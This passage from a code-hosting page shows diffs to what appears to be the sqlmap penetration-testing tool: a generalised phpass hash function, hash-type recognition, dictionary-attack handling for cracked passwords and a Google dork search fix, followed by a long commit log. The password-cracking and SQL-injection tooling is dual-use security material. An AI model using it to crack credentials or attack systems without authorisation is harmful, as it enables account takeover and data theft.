                logger.error("Failed to execute command %s" % command)
            dataToStdout("%s\n" % raw)
        elif command in ("list", "flush"):
            raw = _client("%s/admin/%s" % (addr, command))
            res = dejsonize(raw)
@@ -873,6 +891,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
            msg += "stop           Stop current task\n"
            msg += "kill           Kill current task\n"
            msg += "list           Display all tasks\n"
            msg += "version        Fetch server version\n"
            msg += "flush          Flush tasks (delete all tasks)\n"
            msg += "exit           Exit this client\n"
--- a/lib/utils/hash.py
+++ b/lib/utils/hash.py
@@ -33,6 +33,7 @@ else:
 import base64
 import binascii
 import gc
 import math
 import os
 import re
 import tempfile
@@ -481,14 +482,20 @@ def vbulletin_passwd(password, salt, **kwargs):
    return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
-def wordpress_passwd(password, salt, count, prefix, **kwargs):
+def phpass_passwd(password, salt, count, prefix, **kwargs):
    """
    Reference(s):
-        http://packetstormsecurity.org/files/74448/phpassbrute.py.txt
+        https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
        http://scriptserver.mainframe8.com/wordpress_password_hasher.php
        https://www.openwall.com/phpass/
        https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py
-    >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')
+    >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$')
    '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
    >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$')
    '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/'
    >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$')
    '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W'
    """
    def _encode64(input_, count):
@@ -523,18 +530,24 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
        return output
    password = getBytes(password)
-    salt = getBytes(salt)
+    f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix]
-    cipher = md5(salt)
+    cipher = f(getBytes(salt))
    cipher.update(password)
    hash_ = cipher.digest()
    for i in xrange(count):
-        _ = md5(hash_)
+        _ = f(hash_)
        _.update(password)
        hash_ = _.digest()
-    return "%s%s" % (prefix, _encode64(hash_, 16))
+    retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_)))
    if prefix == "$S$":
        # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x
        retVal = retVal[:55]
    return retVal
 __functions__ = {
    HASH.MYSQL: mysql_passwd,
@@ -555,7 +568,7 @@ __functions__ = {
    HASH.JOOMLA: joomla_passwd,
    HASH.DJANGO_MD5: django_md5_passwd,
    HASH.DJANGO_SHA1: django_sha1_passwd,
-    HASH.WORDPRESS: wordpress_passwd,
+    HASH.PHPASS: phpass_passwd,
    HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
    HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
    HASH.APACHE_SHA1: apache_sha1_passwd,
@@ -741,7 +754,9 @@ def hashRecognition(value):
    if value and len(value) >= 8 and ' ' not in value:   # Note: pre-filter condition (for optimization purposes)
        isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
-        if isinstance(value, six.string_types):
+        if kb.cache.hashRegex is None:
            parts = []
            for name, regex in getPublicTypeMembers(HASH):
                # Hashes for Oracle and old MySQL look the same hence these checks
                if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
@@ -749,9 +764,16 @@ def hashRecognition(value):
                elif regex == HASH.CRYPT_GENERIC:
                    if any((value.lower() == value, value.upper() == value)):
                        continue
-                elif re.match(regex, value):
+                else:
-                    retVal = regex
+                    parts.append("(?P<%s>%s)" % (name, regex))
-                    break
+
            kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "")
        if isinstance(value, six.string_types):
            match = re.search(kb.cache.hashRegex, value, re.I)
            if match:
                algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0]
                retVal = getattr(HASH, algorithm)
    return retVal
@@ -956,7 +978,7 @@ def dictionaryAttack(attack_dict):
                    try:
                        item = None
-                        if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
+                        if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                            hash_ = hash_.lower()
                        if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
@@ -985,9 +1007,9 @@ def dictionaryAttack(attack_dict):
                            item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
                        elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
                            item = [(user, hash_), {"salt": hash_.split('$')[1]}]
-                        elif hash_regex in (HASH.WORDPRESS,):
+                        elif hash_regex in (HASH.PHPASS,):
                            if ITOA64.index(hash_[3]) < 32:
-                                item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
+                                item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
                            else:
                                warnMsg = "invalid hash '%s'" % hash_
                                logger.warn(warnMsg)
@@ -1015,7 +1037,7 @@ def dictionaryAttack(attack_dict):
            while not kb.wordlists:
                # the slowest of all methods hence smaller default dict
-                if hash_regex in (HASH.ORACLE_OLD,):
+                if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
                    dictPaths = [paths.SMALL_DICT]
                else:
                    dictPaths = [paths.WORDLIST]
--- a/lib/utils/hashdb.py
+++ b/lib/utils/hashdb.py
@@ -68,7 +68,7 @@ class HashDB(object):
    @staticmethod
    def hashKey(key):
-        key = getBytes(key if isinstance(key, six.text_type) else repr(key))
+        key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace")
        retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff  # Reference: http://stackoverflow.com/a/4448400
        return retVal
--- a/lib/utils/purge.py
+++ b/lib/utils/purge.py
@@ -80,8 +80,6 @@ def purge(directory):
            pass
    logger.debug("deleting the whole directory tree")
    os.chdir(os.path.join(directory, ".."))
    try:
        shutil.rmtree(directory)
    except OSError as ex:
--- a/lib/utils/search.py
+++ b/lib/utils/search.py
@@ -104,6 +104,8 @@ def _search(dork):
    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
    page = getUnicode(page)  # Note: if upper function call fails (Issue #4202)
    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
    if not retVal and "detected unusual traffic" in page:
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	210a4c3a0a	Fixes #4363	2020-10-05 11:35:49 +02:00
Miroslav Stampar	15225668d0	Somebody was fooling around (Issue #4357 )	2020-09-28 13:12:59 +02:00
Miroslav Stampar	c1bf36b876	Better alternative	2020-09-24 14:57:45 +02:00
Miroslav Stampar	229f89004b	Fixes #4355	2020-09-24 14:55:13 +02:00
Miroslav Stampar	443b1f2ed5	ORDER BY required	2020-09-24 14:54:59 +02:00
Miroslav Stampar	60f4520020	Minor update for #4353	2020-09-23 15:29:28 +02:00
Miroslav Stampar	7460b87f1d	Update for #4353	2020-09-23 15:22:07 +02:00
Miroslav Stampar	5d08b9004e	Minor update	2020-09-21 17:11:11 +02:00
Miroslav Stampar	c2b9e539ae	Update for #4351	2020-09-21 17:04:54 +02:00
HerendraTJ	3d8eb62a59	Issue Tracker --> Pelacak Masalah. (#4347 )	2020-09-18 11:58:29 +02:00
Miroslav Stampar	d51e45fd34	Minor update for #4344	2020-09-17 15:26:06 +02:00
Miroslav Stampar	3258e29cf9	Update for #4344	2020-09-17 15:22:50 +02:00
antichown	e0ea1ab5e9	new tamper script (#4344 ) * new tamper script works with time-based queries * Update sleepgetlock.py Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>	2020-09-17 15:06:47 +02:00
Miroslav Stampar	192ca02c41	Minor update (more intuitive)	2020-09-16 14:28:32 +02:00
Miroslav Stampar	f0bbbb0918	Fixes #4341	2020-09-11 16:28:10 +02:00
Miroslav Stampar	f6857d4ee4	Bug fix (304 not modified as original response)	2020-09-11 14:32:25 +02:00
Miroslav Stampar	a1342e04a5	Minor update	2020-09-10 16:34:01 +02:00
Miroslav Stampar	7963281c41	Minor update	2020-09-10 16:20:12 +02:00
Miroslav Stampar	715063f0d4	Patching session PY2<->PY3 incompatibility issue	2020-09-09 16:15:23 +02:00
Miroslav Stampar	1658331810	Trivial update	2020-09-09 14:07:13 +02:00
Miroslav Stampar	bfe93e20c5	Patch for #4337	2020-09-09 13:58:26 +02:00
Miroslav Stampar	bcea050f22	Fixes #4331	2020-09-06 23:32:47 +02:00
Miroslav Stampar	c4a692abe3	Patch for #4332	2020-09-06 23:21:12 +02:00
Miroslav Stampar	b42b62ae38	Major improvement in Base64 handling (late-binding)	2020-09-04 13:16:50 +02:00
Miroslav Stampar	a7f20c1d67	Minor update (base64 stuff)	2020-09-04 12:45:33 +02:00
Miroslav Stampar	f781367ac1	Fixes #4328	2020-09-04 10:49:17 +02:00
mkauschi	1bec3a953c	fix #4325 (#4327 ) Co-authored-by: manuel <manuel@crashtest-security.com>	2020-09-02 17:07:28 +02:00
Miroslav Stampar	66e07dfab6	Fixes #4322	2020-09-01 15:35:14 +02:00
Miroslav Stampar	226d467f6d	Fixes #4321	2020-08-31 22:06:22 +02:00
Miroslav Stampar	ea5ae44b6c	Minor improvement	2020-08-31 11:55:14 +02:00
Miroslav Stampar	95b9a47c6f	Adding support for easier 'decloaking' (AV something something)	2020-08-31 11:34:12 +02:00
Miroslav Stampar	e05f65628d	Minor update	2020-08-31 11:18:29 +02:00
Miroslav Stampar	609545176f	Minor refactoring	2020-08-28 14:46:59 +02:00
Miroslav Stampar	8de4820b24	Minor update	2020-08-28 14:24:43 +02:00
Miroslav Stampar	df5fabbbbb	Adding couple of doctests	2020-08-24 11:10:13 +02:00
Miroslav Stampar	0c48d0dbec	Minor update on request	2020-08-23 22:11:24 +02:00
Miroslav Stampar	5108c2d06c	Minor update regarding #4312	2020-08-23 21:16:56 +02:00
Miroslav Stampar	603d602550	Fixes #4313	2020-08-23 20:59:10 +02:00
Miroslav Stampar	907786edb8	Patch for #4314	2020-08-23 20:56:22 +02:00
Miroslav Stampar	85b73f872e	Minor patch	2020-08-20 13:54:52 +02:00
Miroslav Stampar	a42ec7d9cb	Trivial refactoring	2020-08-13 16:22:09 +02:00
tree-chtsec	b3f4c6d0fc	Make asterisk work with --csrf-token option (#4305 )	2020-08-13 16:18:31 +02:00
Miroslav Stampar	cec65f3a27	Adding new tamper script	2020-08-12 09:50:04 +02:00
Miroslav Stampar	cc79ae69aa	Fixes #4303	2020-08-11 15:09:23 +02:00
Miroslav Stampar	5a9dc15cf2	Introduction of --base64-safe	2020-08-10 22:26:03 +02:00
Miroslav Stampar	f1fd080ba5	Minor improvement	2020-08-10 21:54:58 +02:00
Miroslav Stampar	cfe9fb4f5b	Fixes #4301	2020-08-10 21:27:38 +02:00
Miroslav Stampar	7a55c9c145	Trivial update	2020-08-10 21:26:37 +02:00
Miroslav Stampar	4077a359f4	Fixes #4294	2020-08-05 22:43:32 +02:00
Miroslav Stampar	435fd49f1d	Trivial update	2020-08-04 10:34:18 +02:00
Miroslav Stampar	bcfd9c3f48	Trivial update	2020-08-04 10:27:52 +02:00
Miroslav Stampar	39c320c29b	Fixes #4292	2020-08-03 23:23:14 +02:00
Miroslav Stampar	b719b9612f	Adding new tamper script	2020-07-29 13:40:23 +02:00
Miroslav Stampar	84bc2640d1	Minor adjustment on private request	2020-07-28 12:55:57 +02:00
Miroslav Stampar	fced29a242	Fixes #4285	2020-07-28 11:30:47 +02:00
Miroslav Stampar	2e5e958d3f	Fixes #4287	2020-07-28 11:22:05 +02:00
Miroslav Stampar	1e30471d3d	Minor update	2020-07-28 11:10:15 +02:00
Miroslav Stampar	10b93d753d	Adding new tamper script	2020-07-27 14:01:12 +02:00
Miroslav Stampar	1280abc25c	Adding some tamper scripts	2020-07-27 13:49:48 +02:00
Miroslav Stampar	c47061f25d	Update regarding #4281	2020-07-26 20:16:58 +02:00
HerendraTJ	9b871f1093	Spacing (#4279 ) Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.	2020-07-26 20:06:59 +02:00
Miroslav Stampar	0ba07e93d5	Fixes #4284	2020-07-26 19:34:30 +02:00
Miroslav Stampar	ce50acf69d	Minor update	2020-07-22 11:25:06 +02:00
Miroslav Stampar	9f0ff27c26	Fixes #4277	2020-07-22 09:57:13 +02:00
Miroslav Stampar	ecafac5cd2	Minor cleanup	2020-07-21 22:05:02 +02:00
Miroslav Stampar	f39869992c	Fixes #4275	2020-07-20 12:43:17 +02:00
Miroslav Stampar	e910fc6b8b	Some more things regarding #4269	2020-07-16 16:10:13 +02:00
Gustavo	6375f9e506	Fixing an error (#4267 ) There was a newline breaking the link: "[aqui] (https://github.com/sqlmapproject/sqlmap/tarball/master)"	2020-07-16 14:45:17 +02:00
Miroslav Stampar	8e649dc3f7	Minor patch	2020-07-16 14:42:51 +02:00
Miroslav Stampar	a6ce91a3e2	Fixes #4269	2020-07-16 14:30:50 +02:00
Miroslav Stampar	408862b040	Update regarding #4268	2020-07-16 14:22:32 +02:00
Miroslav Stampar	fc4dec7291	Fixes #4260	2020-07-15 15:29:35 +02:00
Miroslav Stampar	274a6e62da	Patch for #4261	2020-07-15 14:53:35 +02:00
Miroslav Stampar	aa7c548376	Fixes #4263	2020-07-15 14:49:16 +02:00
Miroslav Stampar	6b7a1dfd94	Adding new payload (credits: blackfan.ru)	2020-07-10 14:33:45 +02:00
Miroslav Stampar	67f918f6ad	Minor update	2020-07-07 11:31:07 +02:00
Miroslav Stampar	a65e1faf99	Patch for #4258	2020-07-07 10:41:23 +02:00
Miroslav Stampar	ff48e1d820	Minor update (phpass)	2020-07-01 13:04:44 +02:00
Miroslav Stampar	0094f02fb0	Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252 )	2020-07-01 12:46:26 +02:00
Miroslav Stampar	459130196a	Minor patch	2020-07-01 11:56:24 +02:00
Miroslav Stampar	0a8a65bc0b	Update regarding #4248	2020-06-29 20:29:46 +02:00
Miroslav Stampar	5d370f2fa1	Update regarding the #4243	2020-06-26 11:45:05 +02:00
Miroslav Stampar	1296336e18	Minor cleanup	2020-06-25 15:13:35 +02:00
Miroslav Stampar	75b3736467	Re-implementation for #4243	2020-06-25 15:07:19 +02:00
Miroslav Stampar	282eb7e533	Minor update related to the #4244	2020-06-25 13:48:50 +02:00
Miroslav Stampar	f28d82c119	Minor patch related to the #4239	2020-06-25 13:02:56 +02:00
Miroslav Stampar	74603c5530	Fixes #4239	2020-06-25 12:55:10 +02:00
Miroslav Stampar	050700f079	Fixes #4237	2020-06-24 12:05:40 +02:00
Miroslav Stampar	31bf1fc6b6	Update regarding #4239	2020-06-24 11:41:51 +02:00
Miroslav Stampar	d4d83b29f0	Drei patch (Issue #4235 )	2020-06-17 21:58:10 +02:00
Miroslav Stampar	596fff48ad	Fixes #4235	2020-06-17 20:56:50 +02:00
Miroslav Stampar	56ff081314	Up the ante	2020-06-17 20:05:12 +02:00
Miroslav Stampar	69421b4806	Fixes #4231	2020-06-14 22:12:00 +02:00
Miroslav Stampar	3910b86853	Potential patch for #4232	2020-06-14 22:01:49 +02:00
Miroslav Stampar	bbdedb39f9	Fixes #4233	2020-06-14 21:23:55 +02:00
Miroslav Stampar	d0be782ece	Update for #4212	2020-06-10 12:53:22 +02:00
Miroslav Stampar	16c8673e98	Implementation on request (--csrf-retries)	2020-06-10 12:49:35 +02:00
Miroslav Stampar	1dedc36d85	Implementation for #4212	2020-06-10 12:19:52 +02:00
Miroslav Stampar	c1d46c95ed	Minor correction	2020-06-10 11:53:58 +02:00
Miroslav Stampar	d5fc2c9350	Patch for #4227	2020-06-05 17:37:36 +02:00
Miroslav Stampar	c28ad8fcd8	Adding boundary for #4221	2020-06-05 17:32:41 +02:00
Miroslav Stampar	2d06543cac	Fixes #4220	2020-06-01 03:29:53 +02:00
Miroslav Stampar	6a1e0fb497	Travis CI patch (no more --check-internet)	2020-05-27 18:39:48 +02:00
Miroslav Stampar	5c650e15a9	Still debugging Travis CI issue	2020-05-27 18:30:13 +02:00
Miroslav Stampar	c97a814d26	Trying to deal with Travis CI problem	2020-05-27 17:57:38 +02:00
Miroslav Stampar	a58d08c7e4	Removing deprecated option	2020-05-27 16:50:16 +02:00
Miroslav Stampar	9c503873ad	Minor patch (TravisCI related)	2020-05-27 15:44:44 +02:00
Miroslav Stampar	03dfd6b4d5	Fixes #4214	2020-05-27 15:39:03 +02:00
Miroslav Stampar	d5a2ffc8ce	Patch for Issue #4211	2020-05-21 22:32:16 +02:00
Miroslav Stampar	ddf8b1b198	Fixes #4208	2020-05-20 16:12:19 +02:00
Karim Kanso	9a36357c52	SQLite table dumping compatibility improvements. (#4205 ) * Fix sqlite regex for create table to support implicit column types * Fix sqlite when dumping large tables	2020-05-20 15:35:20 +02:00
Miroslav Stampar	667e4d00f2	Fixes #4204	2020-05-20 15:20:44 +02:00
Miroslav Stampar	788dcbf077	Update of THANKS file	2020-05-20 15:04:31 +02:00
Miroslav Stampar	a851dc486a	Couple of trivialities	2020-05-15 12:58:03 +02:00
Miroslav Stampar	9077734ec5	Minor update related to last couple of commits	2020-05-14 19:20:16 +02:00
Miroslav Stampar	7b49c46906	Commit as a thank you for the donation	2020-05-14 17:48:07 +02:00
Miroslav Stampar	317bc0f69c	Trivial text update	2020-05-14 17:17:34 +02:00
Miroslav Stampar	c7bdf27542	Tribute to all the FUBAR h4x0rs around the world (#4183 )	2020-05-14 17:15:33 +02:00
Miroslav Stampar	b334b6b742	Patch for #4199	2020-05-13 14:18:19 +02:00
Miroslav Stampar	aa812effe7	Fixes #4203	2020-05-13 13:45:52 +02:00
Miroslav Stampar	99e2a26a8d	Fixes #4202	2020-05-13 12:53:58 +02:00
Miroslav Stampar	01edcbf71d	Minor patch (proper exit code-ing)	2020-05-13 12:39:37 +02:00
Miroslav Stampar	0b93311ef2	Fixes #4201	2020-05-13 11:59:59 +02:00
Miroslav Stampar	4f3f43d8bb	Further update for #4198	2020-05-11 17:55:48 +02:00
Miroslav Stampar	4582948aac	Update regarding #4198	2020-05-11 12:38:54 +02:00
Miroslav Stampar	3729b76c14	Fixes #4194	2020-05-11 11:31:36 +02:00
Miroslav Stampar	a8c3d17583	Fixes #4197	2020-05-11 11:13:06 +02:00
Miroslav Stampar	3c36b186ad	Mixing some fresh blood (PwnedPasswordTop100k)	2020-05-06 13:28:13 +02:00
Miroslav Stampar	075fa1d4be	Minor improvement (bz2 slow, zlib fast)	2020-05-06 13:18:19 +02:00
Miroslav Stampar	5be407edad	Patch related to the #4188	2020-05-06 00:36:18 +02:00
Miroslav Stampar	7ab82de80f	Minor update (usage of cookie in --eval)	2020-05-05 23:57:15 +02:00
Miroslav Stampar	93399ab1b3	Cleaning of leftover parameter values	2020-05-05 23:50:45 +02:00
Miroslav Stampar	87bccf4aa7	Patch related to the #4187	2020-05-05 23:40:37 +02:00
Miroslav Stampar	1c179674d8	Minor patching (--not-string related)	2020-05-05 13:31:44 +02:00
Miroslav Stampar	7a6433b9ef	Proper implementation for #4184	2020-05-04 12:25:46 +02:00
Miroslav Stampar	4e7f0b10d5	Patch related to the #4185	2020-05-04 10:45:39 +02:00
Miroslav Stampar	0351b4a939	Minor patch (CTF related)	2020-05-04 00:06:03 +02:00
Miroslav Stampar	3c93872d53	Update related to the #4182	2020-05-02 13:59:06 +02:00
Miroslav Stampar	881d767df8	Fixes #4181	2020-04-30 16:20:57 +02:00
Miroslav Stampar	1156b53eee	Patch for #4178	2020-04-29 14:36:11 +02:00
Miroslav Stampar	5cacf20eb5	Speeding up the post-processing of large dumps	2020-04-27 14:23:47 +02:00
Miroslav Stampar	1825390951	Feeding the OCD	2020-04-26 15:35:34 +02:00
Miroslav Stampar	7815f88027	Patch for #4171	2020-04-26 15:34:27 +02:00
Miroslav Stampar	f63a92a272	Another minor patch related to the #4167	2020-04-21 01:26:28 +02:00
Miroslav Stampar	e3b3dea46c	Patch related to the #4167	2020-04-21 01:21:50 +02:00
Miroslav Stampar	55595edce2	Fixes #4165	2020-04-17 19:29:36 +02:00
Miroslav Stampar	aaa0c5c6a8	Minor update	2020-04-15 23:32:15 +02:00
Miroslav Stampar	57bb710ae6	Bug fix (CTF and stuff)	2020-04-08 22:40:23 +02:00
Miroslav Stampar	ce9285381d	Fixes #4158	2020-04-07 02:07:54 +02:00